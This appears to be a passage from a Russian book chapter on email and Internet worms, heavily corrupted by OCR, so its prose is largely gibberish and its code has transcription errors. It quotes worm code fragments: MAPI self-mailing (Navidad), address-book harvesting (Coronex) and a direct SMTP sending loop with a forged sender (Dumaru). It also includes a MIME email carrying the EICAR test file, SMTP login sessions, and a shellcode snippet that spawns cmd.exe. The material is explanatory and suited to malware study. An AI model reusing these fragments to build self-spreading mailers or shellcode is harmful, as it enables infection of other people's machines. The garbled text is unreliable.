Msg2->1pFiles->1pszFileName = strdup(“navidad.exe");
Msg2->1pRecips->1pszAddress = strdup(Msgl->1pOriginator->1pszAddress)

MAPISendMail(Ses, 0, &Msg2, 0, 0)
MAPIFreeBuffer(Ses);

Kak MOKHO BuzieTh, asroputs™ paborsl uepsst E-Worm.Win32.Navidad
OY€HbD ITPOCT: B UKJIE TIPOYUTBIBAIOTCA BCE TN CbMa, HAKOITUBHINECA B 104 -
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TOBOM sII[UKe Ha CEPBEPE, U HA KAXK/0€ U3 HUX IOCHLIIAETCS OTBET C IPH-
kperieHHBIM BUPYCcHBIM (aiiiom «<NAVIDAD.EXEs». Pagymeercs, 1moJib-
30BaTeJIb, MOJYYHUBIIHIT TAKOE MTUCHMO, C BBICOKOU BEPOSITHOCTHIO OyIeT
JIOBEPSTH €0 COAEPKUMOMY, BEJIb OHO MOCTIAHO OT UMEHU 3HAKOMOTO ye-
JoBekal

ITouToBBIX YepBel, ncnoib3yomux uarepdeiic MAPI, 6bu10 1 ecTbh
ouenb Muoro. Ctout, HanpuMep, ynoMmsauyTs uepsst Win32.HIV, ne Tosb-
KO pacchliaolero cebs mo moure, Ho u 3apaxaioiiero PE-niporpamMmmbl o
MPUHIUIY «KJaccudeckux» Win32-BupycoB. SHAYUTEJbHbIE SITUIEMUN
soisbiBasin E-Worm.Badtrans, E-Worm.Lovgate, E-Worm.Shatrix u
rpouue.

6.4.2.2. Ilpamas paboma c noumosvIMu cepeéepamu

Yepsu, paccolnaoniie cebst mpu momoru MAPI, «ipuBssaHbl» K olpe-
JIeJIEHHOMY I10JIb30BaTeJII0 U I0YTOBOMY cepBepy IpoBaiizepa. Wiu k 3a-
paHee COCTaBJIEHHOMY CITUCKY OECIUIATHBIX CEpBEpPOB, KaK, HAIPUMEp,
E-Worm.Win32.Swen. B siio60M ciiyuae, Ha CBOEM IyTH K apecary OHH,
Kak 1 J1t00ble «HOPMaJIbHbIe» MIChMa, BBIHYIKAEHBI [TOCEIIATh BCIO JAJIHH-
HYIO IIEIIOYKY peJsieeB, Ha Kak/OM M3 KOTOPBIX, BIIOJIHE BEPOSTHO, [1PU-
CYTCTBYIOT aHTHBHUPYChHI. YCKOPUTH U 00€30IIACUTH CAMOPACCHLIKY [IOYTO-
BOIT «3apa3bl» MO3BOJISIIOT METO/IbI, UCIIOJIB3YIOIIIE PSIMOe 0OpalieHe
K TIOYTOBOMY CepBePY ToJrydaresis 1o npotokosy SMTP.

3ajjaua IPAMOH IIOCBIJIKY [IMCbMa Ha cepBep HoJrydaTesid CKIa/blBaeT-
€51 U3 HECKOJIBKUX TTOCJIE/[0BATEIbHBIX MIAroB.

Ha nepsoM 1mare HeoO6XoauMo c¢hOpMUPOBATH DJIEKTPOHHOE CO0OIIe-
Hue B hopmare, onpesesaeHHoM ctargaprom RFC-822. CoobuieHue goix-
HO UMETh TEKCTOBBIN BUJL M COAEPKATH TOJIBKO GYKBBI JIATHHCKOTO ajida-
BUTA, UGPBHI, 3HAKK MPENUHAHNS U CIEIMaJIbHble CUMBOJIBI THIIA <@,
«$» 1 poune.

Bot mpumep nmchma, cojiepskaiiero, KpoMme TeKCTa, elle W BJIOKEHUs
(arraum).

Date: Mon, 15 Mar 2004 12:10:15 +0400

From: Masha-Vesnushkina <Masha-Vesnushkina@rambler.ru>
To: vasya-pupkin@yahoo.com

Subject: Hello

Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="---------- BE1199C26CFF7FB”

This 1s a multipart MIME-coded message

777777777777 BE1199C26CFF7FB
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Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Look at my photos

———————————— BE1199C26CFF7FB

Content-Type: application/octet-stream; name="eicar.com”
Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename="eicar.com"”

WDVPIVATQEFQWzRcUFpYNTQoUF4pNONDKTA9JEVJQOFSLVNUQUSEQVJELUFOVEIWSVJVUYTURVNU
LUZJTEUhJEQrSCoNCg==

------------ BE1199C26CFF7FB--

3nauenue «multipart> B mosie «Content-Type:» uHOOPMHUPYET O TOM,
YTO MUCHMO COCTOUT U3 HECKOJIbKNX yacTeil. CTpoka-pas/iesinTeib gppar-
MEHTOB ITUChMa OTIpeIesisieTcst B mapamerpe «boundary=», oHa jjo/kHa Ha-
YUHATBCA C HECKOJIBKUX (110 KpaliHell Mepe, IBYX) CUMBOJIOB «-» 1 MOXKET
COCTOATH U3 JT0OBIX OYKB U 1udp. [aBHoe, 4T06BI 9TA CTPOKA HE BCTPe-
THJIACH B CAMOM COOOTIIEHVH, TIOITOMY €€ CTApPAIOTCS CIENATh Kak MOKHO
Gosiee «caydyaiiHoi»>. MDparMeHThl MUChMa, PasjiessieMble 9TOH CTPOKOIA,
HAUMHAIOTCS ¢ MAJIEHBKUX 3aros10BouKOB. Ilone «Content-Type» B 3aro-
JIOBOUKAX OIpeesIsieT co/iep:kuMoe hparMenTa:
«text/plain» COOTBETCTBYET TEKCTY;
«text/html> — WWW-crpannuxe;
«application/octet-stream» — TporpamMMe WJIH TPOU3BOJHHBIM
JTBOMYHBIM JIAHHBIM;
«image/gif> m «image/pjpeg» — yKa3bIBAIOT HA KAPTHHKY;
«audio/mid» u «audio/wav» — Ha 3ByKH, My3BIKY U T. IL.

[Ipukpennennnie (aitabl (mporpaMmbl, KapTUHKH, 3BYKH M Ipoyee)
OOBIYHO WMEIOT HETEKCTOBBIA BUJ W COfepsKaT GaiiThl CO 3HAYCHUS-
mu B auanasone ot 0 1o 255. [y Toro 4To6BI MPEACTABUTh UX B BUJIE
TEKCTa, MCIOJB3YIOTCS CIEUATbHBIE METO/IbI KOJUPOBAHUS, HAIIPUMED
UUEncode (Unix-to-Unix, mmpoko ucnoabsosasinuiics 8 FIDO) uau
Base-64 (pexomenpnyembiii crangaprom Mime). Vaes kommpoBanus
oueHb mpocta. [1pu KoAMpoBaHUK HCTIOMB3YIOTCS «CI0Bapu» — 64-6aiito-
Bbie cTpoku. [l Unix-to-Unix:

0 000

UUHE%& () ++, -, /0123456789: ; <=>?@ABCDEFGHIJKLMNOPQSTUVWXYZ[\]"_

[lns Base-64/Mime:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/
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VicxoHbIe JaHHbIE IPECTABIIOTCS B BIE HEIIPEPBIBHOIO IIOTOKA Gu-
ToB. Torza Kask/ble TPU II0C/IeI0BaTeIbHbIX Oaiita MOryT ObITh IIPEICTAB-
JIEHBI B BHJIE YeThIpex ymce 1o 6 6uToB Kaxpoe: 3 X 8 = 24 = 4 X 6. D1
YMCIa CIYKAT MHAEKCAME B <CJI0Bapsax». [Ipeanoaokum, uto Tpedyercs
3akoaupoBath «He-Bupyc» «EICAR.COM>», HaunHAIONUICS CO CJIEYIO-
nux 6aiToB:

58 35 4F 21-50 25 40 41-50 5B 34 5C-50 5A 58 35 X50!P%@AP[4\PZX5

Torga Gaiiter 58h, 35h u 4Fh mpeoGpasyiorcst B crpoku «M6#5» u
«WDVP» coorBercrBeHHo. Pasymeercs, 11pu 9ToM 00beM J11060T0 3aK0-
JMPOBAaHHOTO Habopa JaHHbIX yBeamuurces B 1,33 pasa. Berpeuaercs ere
koauposka «Quoted printable», koropas 3ameHsieT Bce 6aiiThl JaHHBIX UX
MIeCTHAANATEPUIHBIMI KOZaMU, HarrpuMep: «=58=35=4F».

Wrax, ajekTpoHHOE coobIieHre chopMupoBaHo. Ternepb HEOOXOAMMO
HAUTHU T7Ie-TO afipeca JI7id paccbliku. Bapuantos maoro. Hampumep, mouto-
Boie yepsu E-Worm.Win32.Aliz, E-Worm.Win32.Coronex, E-Worm.
Win32.Klez u ap. Opamu ux HanpsMmyio us (GailJioB ¢ paciumpeHueM
«WAB», B KOTOPbIX XpaHUTCST ajipecHass Kaura mporpamMbl OutLook.
Aror daill uMeeT B Hayajle 3ar0JIOBOK, B KOTOPOM 110 cMeriennio 100h
COZEPIKUTCS KOJIMYECTBO 3allUCeil B aJipeCHOI KHITE, 110 cMelerio 96h —
aJipec MepBOii 3aIKCH, a Kaskias 68-6aliTOBasI 3a1MCh HAUMHAETCS CO CTPO-
Ku azpeca. Bor kak, mpumepHo, ckanuposaJ (aii aJ[peCHON KHUTH Y€PBb
E-Worm.Win32.Coronex.c:

RegOpenKeyA(HKEY_CURRENT_USER, "Software\\Microsoft\\WAB\\WAB4\\Wab File Name"
&Result)
RegQueryValueExA(Result, 0, 0, &Type, &FileName, &cbData)

RegCloseKey(Result)
hFile = CreateFileA(&FileName, 0x80000000, 1, 0, 3, 0, 0)

SetFilePointer(hFile, 100, 0, 0)
ReadFile(hFile, &NRecs, 4, &NumberOfBytesRead, 0); // KonuyecTBo anpecos

SetFilePointer(hFile, 96, 0, 0)
ReadFile(hFile, &1DistanceToMove, 4, &NumberOfBytesRead, 0); // Mo3uuus nepsoit 3anucu
SetFilePointer(hFile, 1DistanceToMove, 0, 0):
for (i=0;i<NRecs;i++) {
ReadFile(hFile, &NextRec, 0x44, &NumberOfBytesRead, 0); // OuepenHas 3anucb

// TNockinka nucbMa no HalAeHHOMY afpecy
}

A rakue Bupycol, kak E-Worm.Win32.Brontok, E-Worm.Win32.
Netsky, E-Worm.Win32.Sober, E-Worm.Win32.Sobig, E-Worm.
Win32.Swen, E-Worm.Win32.Dumaru, E-Worm.Win32.Mydoom u
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poyue, MOCTynaau emie mnpoire. OHM UCKaJIN HA JUCKE BCEBO3MOXKHDBIE
daitnbt ¢ pacumpenusamu «. TXT», «. DOCs», « RTF», « MSG», «. WAB»,
«HTM» u T. 1. U IPUMUTUBHO CKAaHUPOBAJIU UX C €TI0 OOHAPYKUTD
aJIpecHble CTPOKU TI0 MackKe «*@* *» ryie «*» — MPOU3BOJIbHAS 1IEMTOYKA
u3 asndaBuTHO-1IU(POBLIX CUMBOJIOB. U, KCTaTH, HAXO/IUJIN OYEHb MHOTO
nesieit i 3apaskerust. [1om060nbITCTBYHTE, CKOJIBKO YYKUX [TOYTOBBIX
aJIpecoB MOKHO HATH, HAIIPUMED, B PA3JIMYHBIX (haiijax Baliero Karauio-
ra «Temporary Internet»? Eciiu Bbl akTUBHBII TI0JIb30BaTEh MIHTEpHETA,
TO UX TaM JIeCATKA!

Cieryioniad 3aj1a4a oYTOBOTO YePBs — 110 CUMBOJIBHOMY ajipecy (Ha-
npumep, «vasya-pupkin@yahoo.com») onpegenurs IP-azpec SMTP-
cepepa. [IpakTudecku Bce BUPYCHI JieJlalid U JI€IAIOT 3TO IIPU TTOMOIIA
dbyurnun «GetHostByNames, KoTopoii 10cTaTOYHO MepeiaTh JOMEHHOE
uM4 agpecaTa. JTa BBICOKOYPOBHEBas (DYHKIIMSA caMa B3auMOJEHCTBYeET
¢ DNS-cepsepom.

Hy u anogeo3om Bcex mpe/iecTBYONMX TOATOTOBUTENbHBIX Ollepa-
[UIT SIBJISTIOTCST YCTAHOBJIEHUE COEJIMHEHNUST ¢ BBIOPAHHDBIM TIOYTOBBIM CEP-
BEpOM U Iiepe/iada eMy MucbMa.

OO6MeH KOMaHJIaMHU U JJAHHBIMH B ITIOYTOBBIX IIPOTOKOJIAX BEJIETCS
B TeKCTOBOM BHjle. [Iporpamma-KaneHT MOChLIaeT cepBepy CTPOYKHU UH-
CTPYKIIMH, cepBep OTBEYAET aHAJOTHYHBIM 00pPasoM. ITOT 0OMEH JIErKO
npoHaboaaTh (U axe moy4acTBOBATh B HEM, BPYYHYIO HabUpas cTpoy-
KM KOMaHJI Ha KJaBuarypel), MOAKIIOUUBIINCE K JIOOOMY yIaJIeHHO-
My SMTP-cepBepy uepes 25-bIil MOPT MPU TTOMOIIH CTAHAAPTHON 751
Windows u UNIX yrunuts Telnet. To ke camoe mesaer mobast Ho4TOBast
nporpamMa (Harpumep, Outlook), To e camoe genaer u 4epsb.

BoT TUNIMUHBI CeaHC CBS3U MEK/Y TIOYTOBBIM KIUeHTOM (0603HAYEH
kak «K») u cepsepom (o603Hauen xkak «C») 1o nporokosisy SMTP, onu-
cannomy B cranzapre RFC-821:

K: HELO server.com

C: 250 smtp.server.com server.com

K: MAIL FROM: <admin@duma.gov.ru>

C: 250 Ok

K: RCPT TO: <admin@duma.gov.ru>

C: 250 Ok

K: DATA

C: 354 Start mail input; end with <CRLF>.<CRLF>
K: 9To TekcT no4yToBOro coobueHVs, 3akaH4MBalWErocs TOYKON
Kio.

C: 250

K: QUIT

C:

221 Goodbye someone@myserver.com
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Ha zampochbl oT kiiveHTa MOYTOBBIN CepBep OTBeYAeT He TOJBKO TeK-
CTOBBIMH COOOIIEHUSIME, HO W YUCTOBBIME KOAAMHU (0(DOPMIEHHBIMY He
B Bu/le JBOMYHBIX YHCEN, a OMITh-TAKU B BUjE CTPOK). BoT HexkoTopbie
U3 HUX:

«220» — cepBep roToB K paboTe;

«221» — cepBep 3aKpbLJ KaHaJ Tlepeiaun JaHHbIX;

«235» — ayTeHTH(DUKAIINST YCIEITHO 3aBEPIIEHa;

«250» — coemuHeHNe yCTAHOBIEHO, KOMAH/Ia BBITIOJHEHA;

«251», «551» — HeJIOKaIbHbII 0JIb30BATENb, TPEOYETCS TIepeHa-
MpaBJIEHUE 3AIPOCa;

«334» — 3ampoc OT KJIMEHTA TOTIOJTHUTENbHBIX TTAPAMETPOB;

«354» — 3ampoc TeKcTa MOYTOBOTO COOOIIECHNS;

«421» — cepBHC OTCYTCTBYET, COeMHEHNE OYAET IIPEKPaleHo;
«432» — TpebyeTcst mapob;

«450» — ommbKa 3a1m1cy IUCbMa B IIOYTOBBIN SIIHK;

«451» — ommbka 1pu 06paboTKe 3a1POCa;

«452», «552» — He XBaTaeT MaMSITH JIJIs BBITTOJTHEHUST OTTEPATIH;
«454» — BpeMeHHBIIT 0TKa3 cepBepa;

«500» — HeBepHast KOMaH 1A,

«501» — HeBepeH apryMeHT KOMaH/Ibl;

«502» — KOMaH/Ia He MOKET OBITH BBITIOJIHEHA,;

«503» — HeBepHasI MOCIeI0BATENLHOCTD KOMAH/T;

«504» — mapameTp KOMaH/Ibl HEJIOITYCTUM B TAHHOM KOHTEKCTE;
«530» — TpebyeTcst ayTeHTUDUKAIIS;

«534» — TpebyeTcs 6oaee «CUIbHBIIA» IIPOTOKOJ ayTeHTU(DUKALNY;
«538» — nporokout ayreHTHdUKauu TpedyeT i poBaHus;
«550» — 3ampoc OTKJIOHeH (HANpUMep, He HaleH MOYTOBBIN
STIWK);

«553» — HEBepHOE UMST TIOYUTOBOTO SITINKA,

«554» — aBapuiiHoe 3aBepiieHue oOMeHa.

HexkoTopbie TOUTOBbIE CEPBEPHI MOJIEP;KIUBAIOT PACITUPEHHBIN TTPOTO-
ko ESMTP, orucannbiii B RFC-2554 1 Tpebytomuii oT KIneHTa ayTeH-
TUPUKAITHOHHBIX TAHHBIX — JIOTHHA 1 maposist. Cearc oOMeHa KOMaHaM1
U JJlaHHbIMU, 110 cpaBHenuto ¢ SMTP, HecKOIbKO yCIOKHUIICS, HO He Ha-
CTOJIBKO, UTOOBI €T0 HE CMOT BOCTIPOM3BECTH MOYTOBBI YepPBb:

CO0 000000000 OOLOOOLOOO 0©OOOO

220 server.com ESMTP Fri, 15 May 2004 10:12:01 +0400
EHLO server.com

250-mx8.server.com Hello server [123.45.67.89]
250-SIZE 10485760

250-8BITMIME

250-AUTH PLAIN LOGIN

O O O o X O
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250 PIPELINING

AUTH LOGIN

334 VXNlcmbhbWu6

UHVwa2lu

334 UGFzc3dvemQ6

VmFzeWE=

235 Authentication succeeded

MATL FROM: <admin@duma.gov.ru>

250 OK

RCPT TO: <admin@duma.gov.ru>

250 Accepted

DATA

354 Enter message, ending with "." on a line by itself
9TO TeKCT No4YTOBOr0 COOBWEHWS, 3aKaH4MBaUErocs TOYKOM

250 0K id=2RUkMk-000 D2-00
QUIT
221 mx8.server.com closing connection

O X OXRXXOXOXXROXOXOXOXO

NurepecHo, uto nozackasku «Username:» u «Password:» cepsep 1o-
ChLJIaeT KJIMEHTY B KoaupoBke Base-64/Mime, M OHM BBITJTISAIAT Kak
«VXNlem5hbWub» u «UGFzc3dvemQ6» coorBercTBenHO. Pasymeercst,
«KaKOB BOTIPOC — TAKOB OTBET», U KJIIMEHT JI0JKEH OTBEYaTh CEPBEPY B TOM
JKe KOJMPOBKE.

Bupouem, nporokons ESMTP 06biano pabGoTaer Ha HPOBaiigepCKux
cepBepax, KOTOPbIE KIYT «<HOPMATBHBIX» ITHCEM OT OTPAHMYEHHOTO KpyTa
3apETUCTPUPOBAHHBIX KJIUEHTOB. PesteifHble jke cepBephl TIOIYJaroT MICh-
Ma JIpYT OT Apyra — B IPUHIIUIIE, ¢ JTI0O0TO KOHIA CBETa — U MPOBEPSITH
ayTeHTH(hUKAIMOHHBIE TAHHBIE He JOJLKHBI. [109TOMY OHM MCIONB3YIOT
6outee ipocToii porokoa SMTP.

AJTOPUTM TIOBEIEHUS TIOYTOBOTO UEPBSI, CBSI3BIBAIOIIETOCS HETTOCPE/I-
ctBeHHO ¢ SMTP-cepBepom, B 11€710M COOTBETCTBYET KJIACCUIECKOH cXeme
B3aUMOJICHCTBUST KJIWEHTA W CEPBEPa, PACCMOTPEHHON Hamu paHee. Bot
KaK MPUMEPHO Pean30BhIBAT 9Ty cXeMy uepBb E-Worm. Win32.Dumaru
(¢pparMeHTBI MHUTIMATU3AIIIN COKETOB M YCTAHOBJICHUS CBSI3U C CepBe-
POM OTIYTIEHBI):

char v7[6]; // MaccuB apecoB noceinaeMbix CTPOK

v22 = "HELO localhost\r\n"; v23 = "MAIL FROM: <admin@duma.gov.ru>\r\n";
v25 = "RCPT TO0: <"; strcat(v2s, SelfAdr); strcat(v25, ">\r\n"):
v26 = "DATA\r\n"; v27 = Letter; // TexkcT nucbma

Vv7[0] = &v22; v7[1]=8&v23; Vv7[2]=&v25

Vv7[3] = &v26; v7[4]=&v27; v7[5]=0

Index=0; // WHOEKC B MaccuBe MOCLNaeMbx CTPOK
do {
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if (!v7[index]) break; // TocneaHsas cTpoka?
send(vb, v7[Index], lstrlen(v7[Index]) , 0);
recv(vb, &Reply, 512, 0);

if (Reply[0]=="5")||(Reply[0]=="4") { // Mo nepsomy OailTy oTBeTa - ounbka?
closesocket(vh); WSACleanup();  return -1;
}
1++;
}

B mocieanme rogbl Ho4TOBbIE cepBEPhI (0COOEHHO GeCIIaTHbIE, TAKIe
kak smtp.mail.ru win smtp.rambler.ru) sepeako 106aBASIOT B TPOTOKOJ
SMTP necrangaprTabiii (yHKIMOHAT: 00pabaThiBAIOT MHCHhMA TOJBKO
¢ «poaubiMy» RCPT, orkasbiBaioTcst 06pabaTbiBaTh MOTOKU OAMHAKOBBIX
MIceM; OTKIOHSIOT HECKOIBKO TTHCEM, WYX N3 OHOTO NCTOUYHUKA Ye-
pe3 KOPOTKHE MHTEPBAJbl BDEMEHU; BITAIOTCS OT(HUIBTPOBBIBATH ITUChMA
10 COJIEP;KMMOMY; UCIIOJTB3YIOT HECTAH/IAPTHBIE TIOPTHI U T. II.

Pasymeercst, 3T MepbI OTPaHNYNBAIOT PACIIPOCTPAHEHNE CIIAMA U T10Y-
TOBbIX YepBeil. Ho He HAacTO/IbKO, 4TOOBI PaZMKAIbHO PEUIUTD IPOOIEMY.
[lo cux mop mouToBbBIE YepBU (A BCETO MX HECKOJBKO THICSY CeMeicTB!)
JKUBYT M TIPOIBETAIOT.

6.4.3. «<MIHTepHeT»-4yepBMu

OTH 4ePBU 3aPaXKaloT JIa’ke KOMIBIOTEPHI, KOTOPbIE HE BXOJSAT B COCTAB
Kakux-J1100 JIOKAJIbHBIX CeTell, He MMEeIOT OTKPBITBIX /IS BHELIHEro J10-
CTYTIA CETEBBIX PECYPCOB, HE TIPUHUMAIOT U HE TIOCBIJIAIOT 3JIEKTPOHHYIO
TOUTY, a TPOCTO M HEe3aTEeHJINBO TOAKI0YeHbl K VIHTepHeTy (Hampumep,
npu nomoru Dialup-coenunenus yepes MoieM) U, COOTBETCTBEHHO, HMe-
10T TIOCTOSTHHBIN Wau quHamudeckuii [P-anpec.

Jleno B TOM, 4TO J11000i1 KOMIIBIOTED, HA KOTOPOM YCTaHOBJIEHA COBpe-
MeHHasl OllepalluOHHAsI CUCTEMA, SIBJISIETCS HOCUTEJIEM MHOTOYUCIEHHBIX
CETEBBIX CJYKO, MPOCAYIIUBAOIINX OKPYIKAIOIIEE TIPOCTPAHCTBO Yepe3
cereble mopthl. Ha Windows 9X Takux cjrysk0 1 MOPTOB COBCEM HEMHOTO
(IpaKTUYECKH HET), 3aTO OllepallioHHble cucTeMbl cemeiictBa Windows
NT nonb3yorcs My Ha BCio KaTyiiky. Harmmpumep, B HUX 110 yMOJTYaHUIO
otkphIT mopT 135, orBevalomuii 3a pabory texuomornu RPC (Remote
Process Call), koropast obGecrieunBaet pacrpejieJieHHOe B3auMOIEHCTBIE
MPOrPAMMHBIX KOMITOHEHTOB. /[pyriM mpuMepoMm siBjisieTcs TpyIia mop-
ToB B Anamazore 1025—1027, ux omepannoHHas CUCTeMa OTKPBIBAET TSI
CBOMX COOCTBEHHBIX HYs KA. MoryT ObITh OTKPBITHI Takke MopThl 3389
(nopmepskka Remote desktop — yamamennoro pabouero crosa), 123 (ce-
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teBas ciysxba Bpemernn NTP — Network Time Protocol), 445 (cereBas
caysx6a Microsoft Data Service) u poune.

KowneuHo, camo 1o cebe HaJimuue OTKPBITHIX IMOPTOB HA KOMIIBIOTE-
pe — He kpuMUHaIL. Hu oHa TPaBUIIBHO UCIIOJIb3yeMas cepBepHas 3a/1a-
Ya MPOCTO He MpeHAZHAYEHA JIJIST TOTO, YTOOBI CKauMBaTh OTKYIa-TO U3
CEeTH TTOCTOPOHHUE TTPOrpaMMbl (KaKOBBIMU SIBJISIOTCS BUPYCHI U YEPBN)
u 3anyckarb ux. Ho HekoTopbie cepBepHbIE 3a/1a4M COIEPKAT YA36UMOCMU
(ux elile Ha3bIBAOT «0blPamMit» ) — HETOYHOCTH U OIIUOKY B TPOTPAMMHOM
KOJ/Ie, KOTOpBIE JIOITYCKAIOT MCIIOJIb30BaHUE 3TUX 3a/la4, HE MPEyCMOT-
pernoe pazpaborurkamu. MosKeT 6bITh, «CTaPOCTysKAIINEs eIlle TOMHST
TakcO(hOHBI ¥ ra3MPOBOYHbBIE ABTOMATBI COBETCKUX BPeMeH, KOTOpbIe TIpH
MOIIHOM yZlape 10 KPENKOMY MEeTaJJIMYeCKOMY KOPILYCY BBbIBAJINBAJIN
B JIOTOK [IJISl ClIAUM CPa3y BCEe HAKOIJIEHHbIE 32 HECKOJIBKO JTHEHl MOHET-
ku? Heuto nopo6Hoe XapakTepHO U 17 HEKOTOPBIX CETEBBIX CEPBEPOB.
Pazymeercs, Hasnuue Ui OTCYTCTBUE YSA3BUMOCTEN 3aBUCUT OT BEPCUM
OMEPaIMOHHOI CHCTEMBI, BEPCUU CEPBEPHOTO TIPOrPAMMHOTO obecriede-
HUS, TTOCTABIEHHDBIX WJIM HETIOCTABIEHHDIX <3aIlJIATOK> 1 T. TI.

ITosToMy 11€pBOil IIPOOAEMON TUIIMYHOTO UHTEPHET-YEPBS ABJIAETCS
TaK HAa3bIBAEMOE «CKAHUPOBAHUE NOPMOE», TO €CTb MOTBITKA ONPEAEJUTD
[OTEHI[UAJIbHbIE UCTOYHUKY YSI3BUMOCTH Ha MOJAKIIOUEHHOM K TJ100asIh-
HOIi ceTr Komribiotepe. Kak uepBb BoIGUPAET 11eJib — «OT/AeTIbHAsE TIECHST>,
HO, B IPUHIIUIIE, ATAKE MOKET ObITh MOABEPIKEH JI000i KOMITBIOTEP MUPA,
[OAKIIOUEHHBI K VinTepHeTy 1 umelonuii csoit IP-agpec. O6b4no cka-
HUPOBAHME MOPTOB 3aKJIOYAETCS B IIOCBIJIKE TIAKETOB € 3alIPOCAMU Ha Ca-
Mble pasHble MOPThI KoMibiotepa: Ha 135, 137-139, 445 u T. . — ecan
[IPEAIIOJIAraeTCsl, YTO KOMIIBIOTED ABJIAETCS OOBIYHON paboyueil cTaHImell;
nin Ha 20-21, 25, 80, 110 u T. 1. — ecsint IPeANIOIaraeTcs, YTO KOMIBIOTED
ABJISETCS BBIJIEJIEHHBIM CeTeBbIM cepBepoM. 11o ujee, OTKPBITHIN U CTaH-
JIAPTHO HACTPOEHHDI TIOPT JIOJKEH OTBETUTD: <TOTOB K paboTe». A 4epBb,
MOJIYYUB OTKJINK, — IOCTABUTb FAJIOUKY B COOTBETCTBYIOILYIO rpady cBoei
3aMCHOM KHUKEUKU: «[Tonpobyem 3a1e3Th». O6paTute BHUMAHKE, «HOP-
MaJibHbIe» KJIMEHTCKUE TPOrPaMMbI Tak He roctynaior! JKesanHblii rocTh
MIPUXOUT U TPOCTO OJJHOKPATHO 3BOHUT B IBEPD, & BOT JKYJIMK MOKET CHA-
Yajia MO3BOHUTD, IIOTOM MTOCTYYaThCS, TOTOM TIOIAPANATLCSA B OKOIIKO U
T. 1. [ToaTomy ckannpoBaHue TOPTOB JIOBOJIBHO JIETKO PACIIO3HATD, ¥ €CJIN
OHO OOHAPYIKEHO, TO UMEETCST OUEHDb BBICOKASI BEPOSITHOCTD TOTOBSIIIENCST
BUPYCHOI, TPOSHCKOMU (1 BOOO1IIE, 3/I0HAMEPEHHOMN ) aTaK! Ha y3eJI CeTH.

Bropas mpo6JieMa, KOTOPYIO pelraeT TUITHYHBIN Y€PBb, — 9TO TOTBITKA
HCIIOTb30BATH MOTEHINATBHbIE YA3BUMOCTH. KOHKpETHBIE CITOCOObI 1 Me-
TOJIbl, IPUMEHSIEMbIE CETEBBIMU BUPYCHBIMU MIPOrpaMMaMu, OyayT HaMU
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paccMOTpeHbI flasee, B pasnese «Kak yepBu MPOHUKAIOT B KOMITBIOTED>.
A 3716Ch MBI ITPOCTO OTMETUM, UTO TUITUYHBII MHTEPHET-YePBb UCIOJIb3YET
JUUIST 9TOTO TaK HA3bIBaEMble <uein-Koobly («shell-codes»). ITo criermanb-
HO TIOJITOTOBJICHHBIEC WH(POPMAITMOHHBIE MACCUBDI, KOTOPbIE YEPBb Iepe-
Jlaet cepBepHOit 3aaue. Kak nmpaBuiio, mesi-Koj CoRepsKUT 1 (hpparMeHThI
JAHHBIX, KOTOPbIE cepBepHas 3ajaua He MOKET IIPOMHTEPIPETHPOBATD
MIPaBUJIbHO, M KYCKU IPOTrPAMMHOTO KO/Ia, KOTOPBIN 3allyCcKaeTcs B pe-
3ynasTaTe HeBepHOU mHTeprpeTtanun. [Ilenn-kox urpaet pob «OTMBIUKI»,
KOTOPOI YepBb MOJIb3YeTCs /ISl MPOHMKHOBEHUS Ha KoMIibioTep. EcTb
4epBU, KOTOPbIE COAEPKAT BHYTPU ceOsA U MBITAIOTCSA TPUMEHUTh MHO-
JKECTBO OTMBIYEK: HATTPUMED, OTTYOIMKOBAHHbII B sKypHaie «29A» Worm.
Linux.Mworm (o sxe Multiworm) cogep:kas ux a 8 Tyk. A 3HAMeHU-
tomy uepBio Net-Worm.Win32.Lovesan (13BeCTHOMY Tak:Ke O] Me-
namu Msblast, Blaster, Poza u nipourMn), 11t TOro 4T00bI OPraHu30BaTh
B 2003 1. GecnpereneHTHYO 110 pasMepaM M JINTEeJbHOCTH IUAEMUIO,
XBATHUJIO BCETO OJTHOTO MIEJI-KO/IA, IKCILIyaTUPYIONIEro OIHY-eIMHCTBEH-
HYIO YsSI3BUMOCTh. KOHEUHOU 11e/IbI0 pabOThI TIEJI-KOIA SIBJSIETCST TIepe-
Jlaya yIIpaBJIeHUs Ha cojieprKallliiics BHYTpU Hero ¢hparMeHT, COCTOSIINN
13 UCIIOJIHAEMbBIX MAIIMHHBIX KoMan1. Hanpumep, aToT hparment Mmoxker
natitu B mamsitu « KERNEL32.DLL», onpesenuts anpeca API-dbynkimmii,
a TIOTOM BBITIOJTHUTD YTO-HUGYIIb BPOJIE

push 0 ; CTek <- napameTp "OKHO CKpbITO"

call AAA ; CTek <- agpec cnepyiouei Komanis, TO ecTb BBB
BBB: db ‘cmd.exe’, 0 ; NapameTp "Wma 3anyckaemon nporpammsl”
AAA: call WinExec ;. 3anyck nporpammsl

B pesyusibrate HauHeT pabOTy IITATHBIN KOMAHHBIH WHTEPIPETATOP
CMD.EXE, pu momo1i KOTOpOTO MOKHO YIAJSATh UJIN CO3/aBaTh (haii-
JIBL, 3AITyCKATh ITPOrPAMMBI Ha aTaKyeMOM KomiibioTepe u T. 1. DakTuye-
CKH 9TO O3HAYAeT, YTO KOHTPOJIb UePBsI Ha/l MAIIIMHON yCTAaHOBJIEH.

Jlo cux mop Ha KoMIbloTepe «0e300pasHiuIajy> MaJeHbKIUIT MIeJI-KO/I.
Crepytonmii starm paboThl TUMIUYHOTO WHTEPHET-UEPBS 3aKJII0YACTCS B
TOM, YTO OH Il€peTacKNBaeT Ha aTaKOBAHHBIN KOMIIbIOTEP CBOE€ OCHOBHOE
«Tesio». JImst aToro MoskHO, 3amycTuB mTaTtHbil FTP-kauenT omnepanm-
onnoii cucrembl (rporpammbl FTP.EXE umu TFTP.EXE), obparurbes
K aTakylollell MalinHe, Ha KOTOPOU OCTaBIIASICA YaCTh YE€PBS «BUCUT»> B
namsiTy 1 pabortaer FTP-cepBepoMm, 1 ckauaTh ero (4epBst) Ha aTaKyeMyto
MalllUHYy Telepb yiKe MOJHOCTbI0. BO3MOXKHO HCIIOJIb30BAHKE YepBEM 1
WHBIX TPOTOKOJIOB, OTJINYHBIX OT FTP.

Bor u Bce. /lampHelimue 1elicTBUS 4ePBs yiKe JETKO MPeACcKa3yeMbl.
OH packJiajipiBaeT cebst 1o KaTtajoraM, IIOMEIAeT HYKHbIe 3alliCH B KOH-
